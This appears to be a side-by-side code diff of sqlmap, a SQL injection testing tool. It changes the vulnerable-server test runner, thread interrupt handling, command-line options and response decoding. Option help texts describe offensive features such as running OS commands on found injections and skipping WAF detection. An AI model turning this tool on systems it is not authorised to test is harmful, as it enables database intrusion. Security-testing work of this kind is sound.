c.executescript(vulnserver.SCHEMA)
handle, request = tempfile.mkstemp(suffix=".req")
os.close(handle)
handle, log = tempfile.mkstemp(suffix=".log")
os.close(handle)
content = "POST / HTTP/1.0\nUser-agent: foobar\nHost: %s:%s\n\nid=1\n" % (address, port)
open(request, "w+").write(content)
open(log, "w+").write('<port>%d</port><request base64="true"><![CDATA[%s]]></request>' % (port, encodeBase64(content, binary=False)))
url = "http://%s:%d/?id=1" % (address, port)
direct = "sqlite3://%s" % database
for options, checks in TESTS:
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options.replace("<url>", url).replace("<direct>", direct).replace("<request>", request).replace("<log>", log))
output = shellExec(cmd) output = shellExec(cmd)
if not all(check in output for check in checks): if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
dataToStdout("---\n\n$ %s\n" % cmd) dataToStdout("---\n\n$ %s\n" % cmd)
dataToStdout("%s---\n" % clearColors(output)) dataToStdout("%s---\n" % clearColors(output))
retVal = False retVal = False
count += 1 count += 1
status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
clearConsoleLine() clearConsoleLine()
if retVal: if retVal:
+26 -10
View File
@@ -73,6 +73,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
# It will be overwritten by original from lib.core.common # It will be overwritten by original from lib.core.common
pass pass
def isDigit(value):
# It will be overwritten by original from lib.core.common
pass
def getCurrentThreadData(): def getCurrentThreadData():
""" """
Returns current thread's local data Returns current thread's local data
@@ -97,11 +101,11 @@ def exceptionHandledFunction(threadFunction, silent=False):
except Exception as ex: except Exception as ex:
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
if not silent and kb.get("threadContinue"): if not silent and kb.get("threadContinue") and not isinstance(ex, SqlmapUserQuitException):
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex)) errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg)) logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
if conf.get("verbose") > 1 and not isinstance(ex, (SqlmapUserQuitException, SqlmapConnectionException)): if conf.get("verbose") > 1 and not isinstance(ex, SqlmapConnectionException):
traceback.print_exc() traceback.print_exc()
def setDaemon(thread): def setDaemon(thread):
@@ -114,20 +118,23 @@ def setDaemon(thread):
def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True): def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardException=True, threadChoice=False, startThreadMsg=True):
threads = [] threads = []
kb.multipleCtrlC = False
kb.threadContinue = True kb.threadContinue = True
kb.threadException = False kb.threadException = False
kb.technique = ThreadData.technique kb.technique = ThreadData.technique
if threadChoice and numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)): if threadChoice and conf.threads == numThreads == 1 and not (kb.injection.data and not any(_ not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in kb.injection.data)):
while True: while True:
message = "please enter number of threads? [Enter for %d (current)] " % numThreads message = "please enter number of threads? [Enter for %d (current)] " % numThreads
choice = readInput(message, default=str(numThreads)) choice = readInput(message, default=str(numThreads))
if choice: if choice:
skipThreadCheck = False skipThreadCheck = False
if choice.endswith('!'): if choice.endswith('!'):
choice = choice[:-1] choice = choice[:-1]
skipThreadCheck = True skipThreadCheck = True
if choice.isdigit():
if isDigit(choice):
if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck: if int(choice) > MAX_NUMBER_OF_THREADS and not skipThreadCheck:
errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS errMsg = "maximum number of used threads is %d avoiding potential connection issues" % MAX_NUMBER_OF_THREADS
logger.critical(errMsg) logger.critical(errMsg)
@@ -178,6 +185,12 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.threadContinue = False kb.threadContinue = False
kb.threadException = True kb.threadException = True
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):
kb.multipleCtrlC = True
raise SqlmapUserQuitException("user aborted (Ctrl+C was pressed multiple times)")
kb.lastCtrlCTime = time.time()
if numThreads > 1: if numThreads > 1:
logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else "")) logger.info("waiting for threads to finish%s" % (" (Ctrl+C was pressed)" if isinstance(ex, KeyboardInterrupt) else ""))
try: try:
@@ -185,6 +198,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
pass pass
except KeyboardInterrupt: except KeyboardInterrupt:
kb.multipleCtrlC = True
raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)") raise SqlmapThreadException("user aborted (Ctrl+C was pressed multiple times)")
if forwardException: if forwardException:
@@ -199,13 +213,15 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
traceback.print_exc() traceback.print_exc()
except: except:
from lib.core.common import unhandledExceptionMessage
print() print()
kb.threadException = True
errMsg = unhandledExceptionMessage() if not kb.multipleCtrlC:
logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg)) from lib.core.common import unhandledExceptionMessage
traceback.print_exc()
kb.threadException = True
errMsg = unhandledExceptionMessage()
logger.error("thread %s: %s" % (threading.currentThread().getName(), errMsg))
traceback.print_exc()
finally: finally:
kb.threadContinue = True kb.threadContinue = True
+1
View File
@@ -105,6 +105,7 @@ def update():
dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X")) dataToStdout("\r[%s] [INFO] update in progress" % time.strftime("%X"))
output = ""
try: try:
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH) process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, cwd=paths.SQLMAP_ROOT_PATH)
pollProcess(process, True) pollProcess(process, True)
+1 -1
View File
@@ -42,7 +42,7 @@ class Wordlist(six.Iterator):
def adjust(self): def adjust(self):
self.closeFP() self.closeFP()
if self.index > len(self.filenames): if self.index > len(self.filenames):
raise StopIteration return # Note: https://stackoverflow.com/a/30217723 (PEP 479)
elif self.index == len(self.filenames): elif self.index == len(self.filenames):
self.iter = iter(self.custom) self.iter = iter(self.custom)
else: else:
+88 -50
View File
@@ -44,6 +44,26 @@ finally:
def get_groups(parser): def get_groups(parser):
return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups")
def get_all_options(parser):
retVal = set()
for option in get_actions(parser):
if hasattr(option, "option_strings"):
retVal.update(option.option_strings)
else:
retVal.update(option._long_opts)
retVal.update(option._short_opts)
for group in get_groups(parser):
for option in get_actions(group):
if hasattr(option, "option_strings"):
retVal.update(option.option_strings)
else:
retVal.update(option._long_opts)
retVal.update(option._short_opts)
return retVal
from lib.core.common import checkOldOptions from lib.core.common import checkOldOptions
from lib.core.common import checkSystemEncoding from lib.core.common import checkSystemEncoding
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
@@ -101,18 +121,15 @@ def cmdLineParser(argv=None):
# Target options # Target options
target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)") target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)")
target.add_argument("-d", dest="direct",
help="Connection string for direct database connection")
target.add_argument("-u", "--url", dest="url", target.add_argument("-u", "--url", dest="url",
help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")")
target.add_argument("-d", dest="direct",
help="Connection string for direct database connection")
target.add_argument("-l", dest="logFile", target.add_argument("-l", dest="logFile",
help="Parse target(s) from Burp or WebScarab proxy log file") help="Parse target(s) from Burp or WebScarab proxy log file")
target.add_argument("-x", dest="sitemapUrl",
help="Parse target(s) from remote sitemap(.xml) file")
target.add_argument("-m", dest="bulkFile", target.add_argument("-m", dest="bulkFile",
help="Scan multiple targets given in a textual file ") help="Scan multiple targets given in a textual file ")
@@ -128,6 +145,12 @@ def cmdLineParser(argv=None):
# Request options # Request options
request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL")
request.add_argument("-A", "--user-agent", dest="agent",
help="HTTP User-Agent header value")
request.add_argument("-H", "--header", dest="header",
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
request.add_argument("--method", dest="method", request.add_argument("--method", dest="method",
help="Force usage of given HTTP method (e.g. PUT)") help="Force usage of given HTTP method (e.g. PUT)")
@@ -149,8 +172,8 @@ def cmdLineParser(argv=None):
request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true", request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true",
help="Ignore Set-Cookie header from response") help="Ignore Set-Cookie header from response")
request.add_argument("--user-agent", dest="agent", request.add_argument("--mobile", dest="mobile", action="store_true",
help="HTTP User-Agent header value") help="Imitate smartphone through HTTP User-Agent header")
request.add_argument("--random-agent", dest="randomAgent", action="store_true", request.add_argument("--random-agent", dest="randomAgent", action="store_true",
help="Use randomly selected HTTP User-Agent header value") help="Use randomly selected HTTP User-Agent header value")
@@ -161,9 +184,6 @@ def cmdLineParser(argv=None):
request.add_argument("--referer", dest="referer", request.add_argument("--referer", dest="referer",
help="HTTP Referer header value") help="HTTP Referer header value")
request.add_argument("-H", "--header", dest="header",
help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")")
request.add_argument("--headers", dest="headers", request.add_argument("--headers", dest="headers",
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
@@ -242,6 +262,9 @@ def cmdLineParser(argv=None):
request.add_argument("--csrf-url", dest="csrfUrl", request.add_argument("--csrf-url", dest="csrfUrl",
help="URL address to visit for extraction of anti-CSRF token") help="URL address to visit for extraction of anti-CSRF token")
request.add_argument("--csrf-method", dest="csrfMethod",
help="HTTP method to use during anti-CSRF token page visit")
request.add_argument("--force-ssl", dest="forceSSL", action="store_true", request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
help="Force usage of SSL/HTTPS") help="Force usage of SSL/HTTPS")
@@ -344,6 +367,9 @@ def cmdLineParser(argv=None):
detection.add_argument("--code", dest="code", type=int, detection.add_argument("--code", dest="code", type=int,
help="HTTP code to match when query is evaluated to True") help="HTTP code to match when query is evaluated to True")
detection.add_argument("--smart", dest="smart", action="store_true",
help="Perform thorough tests only if positive heuristic(s)")
detection.add_argument("--text-only", dest="textOnly", action="store_true", detection.add_argument("--text-only", dest="textOnly", action="store_true",
help="Compare pages based only on the textual content") help="Compare pages based only on the textual content")
@@ -384,7 +410,7 @@ def cmdLineParser(argv=None):
help="Perform an extensive DBMS version fingerprint") help="Perform an extensive DBMS version fingerprint")
# Enumeration options # Enumeration options
enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements") enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables")
enumeration.add_argument("-a", "--all", dest="getAll", action="store_true", enumeration.add_argument("-a", "--all", dest="getAll", action="store_true",
help="Retrieve everything") help="Retrieve everything")
@@ -585,6 +611,9 @@ def cmdLineParser(argv=None):
general.add_argument("-t", dest="trafficFile", general.add_argument("-t", dest="trafficFile",
help="Log all HTTP traffic into a textual file") help="Log all HTTP traffic into a textual file")
general.add_argument("--answers", dest="answers",
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
general.add_argument("--batch", dest="batch", action="store_true", general.add_argument("--batch", dest="batch", action="store_true",
help="Never ask for user input, use the default behavior") help="Never ask for user input, use the default behavior")
@@ -594,6 +623,9 @@ def cmdLineParser(argv=None):
general.add_argument("--check-internet", dest="checkInternet", action="store_true", general.add_argument("--check-internet", dest="checkInternet", action="store_true",
help="Check Internet connection before assessing the target") help="Check Internet connection before assessing the target")
general.add_argument("--cleanup", dest="cleanup", action="store_true",
help="Clean up the DBMS from sqlmap specific UDF and tables")
general.add_argument("--crawl", dest="crawlDepth", type=int, general.add_argument("--crawl", dest="crawlDepth", type=int,
help="Crawl the website starting from the target URL") help="Crawl the website starting from the target URL")
@@ -624,6 +656,9 @@ def cmdLineParser(argv=None):
general.add_argument("--fresh-queries", dest="freshQueries", action="store_true", general.add_argument("--fresh-queries", dest="freshQueries", action="store_true",
help="Ignore query results stored in session file") help="Ignore query results stored in session file")
general.add_argument("--gpage", dest="googlePage", type=int,
help="Use Google dork results from specified page number")
general.add_argument("--har", dest="harFile", general.add_argument("--har", dest="harFile",
help="Log all HTTP traffic into a HAR file") help="Log all HTTP traffic into a HAR file")
@@ -648,17 +683,23 @@ def cmdLineParser(argv=None):
general.add_argument("--scope", dest="scope", general.add_argument("--scope", dest="scope",
help="Regexp to filter targets from provided proxy log") help="Regexp to filter targets from provided proxy log")
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
help="Skip heuristic detection of WAF/IPS protection")
general.add_argument("--table-prefix", dest="tablePrefix",
help="Prefix used for temporary tables (default: \"%s\")" % defaults.tablePrefix)
general.add_argument("--test-filter", dest="testFilter", general.add_argument("--test-filter", dest="testFilter",
help="Select tests by payloads and/or titles (e.g. ROW)") help="Select tests by payloads and/or titles (e.g. ROW)")
general.add_argument("--test-skip", dest="testSkip", general.add_argument("--test-skip", dest="testSkip",
help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")
general.add_argument("--update", dest="updateAll", action="store_true", general.add_argument("--web-root", dest="webRoot",
help="Update sqlmap") help="Web server document root directory (e.g. \"/var/www\")")
# Miscellaneous options # Miscellaneous options
miscellaneous = parser.add_argument_group("Miscellaneous") miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category")
miscellaneous.add_argument("-z", dest="mnemonics", miscellaneous.add_argument("-z", dest="mnemonics",
help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")")
@@ -666,41 +707,26 @@ def cmdLineParser(argv=None):
miscellaneous.add_argument("--alert", dest="alert", miscellaneous.add_argument("--alert", dest="alert",
help="Run host OS command(s) when SQL injection is found") help="Run host OS command(s) when SQL injection is found")
miscellaneous.add_argument("--answers", dest="answers",
help="Set predefined answers (e.g. \"quit=N,follow=N\")")
miscellaneous.add_argument("--beep", dest="beep", action="store_true", miscellaneous.add_argument("--beep", dest="beep", action="store_true",
help="Beep on question and/or when SQL injection is found") help="Beep on question and/or when SQL injection is found")
miscellaneous.add_argument("--cleanup", dest="cleanup", action="store_true",
help="Clean up the DBMS from sqlmap specific UDF and tables")
miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true", miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true",
help="Check for missing (optional) sqlmap dependencies") help="Check for missing (optional) sqlmap dependencies")
miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true", miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true",
help="Disable console output coloring") help="Disable console output coloring")
miscellaneous.add_argument("--gpage", dest="googlePage", type=int,
help="Use Google dork results from specified page number")
miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true",
help="Display list of available tamper scripts") help="Display list of available tamper scripts")
miscellaneous.add_argument("--mobile", dest="mobile", action="store_true",
help="Imitate smartphone through HTTP User-Agent header")
miscellaneous.add_argument("--offline", dest="offline", action="store_true", miscellaneous.add_argument("--offline", dest="offline", action="store_true",
help="Work in offline mode (only use session data)") help="Work in offline mode (only use session data)")
miscellaneous.add_argument("--purge", dest="purge", action="store_true", miscellaneous.add_argument("--purge", dest="purge", action="store_true",
help="Safely remove all content from sqlmap data directory") help="Safely remove all content from sqlmap data directory")
miscellaneous.add_argument("--skip-waf", dest="skipWaf", action="store_true", miscellaneous.add_argument("--results-file", dest="resultsFile",
help="Skip heuristic detection of WAF/IPS protection") help="Location of CSV results file in multiple targets mode")
miscellaneous.add_argument("--smart", dest="smart", action="store_true",
help="Conduct thorough tests only if positive heuristic(s)")
miscellaneous.add_argument("--sqlmap-shell", dest="sqlmapShell", action="store_true", miscellaneous.add_argument("--sqlmap-shell", dest="sqlmapShell", action="store_true",
help="Prompt for an interactive sqlmap shell") help="Prompt for an interactive sqlmap shell")
@@ -708,8 +734,11 @@ def cmdLineParser(argv=None):
miscellaneous.add_argument("--tmp-dir", dest="tmpDir", miscellaneous.add_argument("--tmp-dir", dest="tmpDir",
help="Local directory for storing temporary files") help="Local directory for storing temporary files")
miscellaneous.add_argument("--web-root", dest="webRoot", miscellaneous.add_argument("--unstable", dest="unstable", action="store_true",
help="Web server document root directory (e.g. \"/var/www\")") help="Adjust options for unstable connections")
miscellaneous.add_argument("--update", dest="updateAll", action="store_true",
help="Update sqlmap")
miscellaneous.add_argument("--wizard", dest="wizard", action="store_true", miscellaneous.add_argument("--wizard", dest="wizard", action="store_true",
help="Simple wizard interface for beginner users") help="Simple wizard interface for beginner users")
@@ -751,6 +780,9 @@ def cmdLineParser(argv=None):
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
help=SUPPRESS) help=SUPPRESS)
parser.add_argument("--gui", dest="gui", action="store_true",
help=SUPPRESS)
parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
help=SUPPRESS) help=SUPPRESS)
@@ -818,7 +850,6 @@ def cmdLineParser(argv=None):
break break
_ = [] _ = []
prompt = False
advancedHelp = True advancedHelp = True
extraHeaders = [] extraHeaders = []
tamperIndex = None tamperIndex = None
@@ -830,26 +861,23 @@ def cmdLineParser(argv=None):
argv = _ argv = _
checkOldOptions(argv) checkOldOptions(argv)
prompt = "--sqlmap-shell" in argv if "--gui" in argv:
from lib.core.gui import runGui
runGui(parser)
if prompt: if hasattr(parser, "_args"):
return parser._args
elif "--sqlmap-shell" in argv:
_createHomeDirectories() _createHomeDirectories()
parser.usage = "" parser.usage = ""
cmdLineOptions.sqlmapShell = True cmdLineOptions.sqlmapShell = True
_ = ["x", "q", "exit", "quit", "clear"] commands = set(("x", "q", "exit", "quit", "clear"))
commands.update(get_all_options(parser))
for option in get_actions(parser): autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands)
_.extend(option._long_opts)
_.extend(option._short_opts)
for group in get_groups(parser):
for option in get_actions(group):
_.extend(option._long_opts)
_.extend(option._short_opts)
autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=_)
while True: while True:
command = None command = None
@@ -884,8 +912,12 @@ def cmdLineParser(argv=None):
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex)) raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
for i in xrange(len(argv)): for i in xrange(len(argv)):
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
if argv[i] == "-hh": if argv[i] == "-hh":
argv[i] = "-h" argv[i] = "-h"
elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
argv[i] = "--url=%s" % argv[i]
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])): elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i]) dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
raise SystemExit raise SystemExit
@@ -895,6 +927,9 @@ def cmdLineParser(argv=None):
elif re.search(r"\A-\w=.+", argv[i]): elif re.search(r"\A-\w=.+", argv[i]):
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
raise SystemExit raise SystemExit
elif re.search(r"\A-\w{3,}", argv[i]):
if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
argv[i] = "-%s" % argv[i]
elif argv[i] in DEPRECATED_OPTIONS: elif argv[i] in DEPRECATED_OPTIONS:
argv[i] = "" argv[i] = ""
elif argv[i].startswith("--tamper"): elif argv[i].startswith("--tamper"):
@@ -931,6 +966,9 @@ def cmdLineParser(argv=None):
found = True found = True
if not found: if not found:
get_groups(parser).remove(group) get_groups(parser).remove(group)
elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r"\A-\w\Z", argv[i - 1]) is None:
dataToStdout("[!] detected usage of long-option without a starting hyphen ('%s')\n" % argv[i])
raise SystemExit
for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)): for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
try: try:
@@ -964,8 +1002,8 @@ def cmdLineParser(argv=None):
if args.dummy: if args.dummy:
args.url = args.url or DUMMY_URL args.url = args.url or DUMMY_URL
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.sitemapUrl, args.listTampers, args.hashFile)): if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). " errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
errMsg += "Use -h for basic and -hh for advanced help\n" errMsg += "Use -h for basic and -hh for advanced help\n"
parser.error(errMsg) parser.error(errMsg)
+2 -2
View File
@@ -79,14 +79,14 @@ def configFileParser(configFile):
mandatory = False mandatory = False
for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "sitemapUrl", "wizard"): for option in ("direct", "url", "logFile", "bulkFile", "googleDork", "requestFile", "wizard"):
if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option): if config.has_option("Target", option) and config.get("Target", option) or cmdLineOptions.get(option):
mandatory = True mandatory = True
break break
if not mandatory: if not mandatory:
errMsg = "missing a mandatory option in the configuration file " errMsg = "missing a mandatory option in the configuration file "
errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile, sitemapUrl or wizard)" errMsg += "(direct, url, logFile, bulkFile, googleDork, requestFile or wizard)"
raise SqlmapMissingMandatoryOptionException(errMsg) raise SqlmapMissingMandatoryOptionException(errMsg)
for family, optionData in optDict.items(): for family, optionData in optDict.items():
+48 -36
View File
@@ -34,6 +34,7 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.decorators import cachedmethod from lib.core.decorators import cachedmethod
from lib.core.decorators import lockedmethod
from lib.core.dicts import HTML_ENTITIES from lib.core.dicts import HTML_ENTITIES
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTP_HEADER
@@ -47,6 +48,7 @@ from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
from lib.core.settings import META_CHARSET_REGEX from lib.core.settings import META_CHARSET_REGEX
from lib.core.settings import PARSE_HEADERS_LIMIT from lib.core.settings import PARSE_HEADERS_LIMIT
from lib.core.settings import SELECT_FROM_TABLE_REGEX from lib.core.settings import SELECT_FROM_TABLE_REGEX
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import VIEWSTATE_REGEX from lib.core.settings import VIEWSTATE_REGEX
from lib.parse.headers import headersParser from lib.parse.headers import headersParser
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
@@ -57,6 +59,7 @@ from thirdparty.odict import OrderedDict
from thirdparty.six import unichr as _unichr from thirdparty.six import unichr as _unichr
from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import http_client as _http_client
@lockedmethod
def forgeHeaders(items=None, base=None): def forgeHeaders(items=None, base=None):
""" """
Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing Prepare HTTP Cookie, HTTP User-Agent and HTTP Referer headers to use when performing
@@ -110,9 +113,9 @@ def forgeHeaders(items=None, base=None):
if conf.loadCookies: if conf.loadCookies:
conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders) conf.httpHeaders = filterNone((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders)
elif kb.mergeCookies is None: elif kb.mergeCookies is None:
message = "you provided a HTTP %s header value. " % HTTP_HEADER.COOKIE message = "you provided a HTTP %s header value, while " % HTTP_HEADER.COOKIE
message += "The target URL provided its own cookies within " message += "target URL provides its own cookies within "
message += "the HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE message += "HTTP %s header which intersect with yours. " % HTTP_HEADER.SET_COOKIE
message += "Do you want to merge them in further requests? [Y/n] " message += "Do you want to merge them in further requests? [Y/n] "
kb.mergeCookies = readInput(message, default='Y', boolean=True) kb.mergeCookies = readInput(message, default='Y', boolean=True)
@@ -258,13 +261,13 @@ def getHeuristicCharEncoding(page):
retVal = kb.cache.encoding.get(key) or detect(page)["encoding"] retVal = kb.cache.encoding.get(key) or detect(page)["encoding"]
kb.cache.encoding[key] = retVal kb.cache.encoding[key] = retVal
if retVal: if retVal and retVal.lower().replace('-', "") == UNICODE_ENCODING.lower().replace('-', ""):
infoMsg = "heuristics detected web page charset '%s'" % retVal infoMsg = "heuristics detected web page charset '%s'" % retVal
singleTimeLogMessage(infoMsg, logging.INFO, retVal) singleTimeLogMessage(infoMsg, logging.INFO, retVal)
return retVal return retVal
def decodePage(page, contentEncoding, contentType): def decodePage(page, contentEncoding, contentType, percentDecode=True):
""" """
Decode compressed/charset HTTP response Decode compressed/charset HTTP response
@@ -331,40 +334,44 @@ def decodePage(page, contentEncoding, contentType):
# can't do for all responses because we need to support binary files too # can't do for all responses because we need to support binary files too
if isinstance(page, six.binary_type) and "text/" in contentType: if isinstance(page, six.binary_type) and "text/" in contentType:
# e.g. &#x9;&#195;&#235;&#224;&#226;&#224; if not kb.disableHtmlDecoding:
if b"&#" in page: # e.g. &#x9;&#195;&#235;&#224;&#226;&#224;
page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page) if b"&#" in page:
page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page) page = re.sub(b"&#x([0-9a-f]{1,2});", lambda _: decodeHex(_.group(1) if len(_.group(1)) == 2 else "0%s" % _.group(1)), page)
page = re.sub(b"&#(\\d{1,3});", lambda _: six.int2byte(int(_.group(1))) if int(_.group(1)) < 256 else _.group(0), page)
# e.g. %20%28%29 # e.g. %20%28%29
if b"%" in page: if percentDecode:
page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page) if b"%" in page:
page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
# e.g. &amp; # e.g. &amp;
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page) page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
if (kb.pageEncoding or "").lower() == "utf-8-sig": if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8" kb.pageEncoding = "utf-8"
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling) if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:] page = page[3:]
page = getUnicode(page, kb.pageEncoding) page = getUnicode(page, kb.pageEncoding)
# e.g. &#8217;&#8230;&#8482; # e.g. &#8217;&#8230;&#8482;
if "&#" in page: if "&#" in page:
def _(match): def _(match):
retVal = match.group(0) retVal = match.group(0)
try: try:
retVal = _unichr(int(match.group(1))) retVal = _unichr(int(match.group(1)))
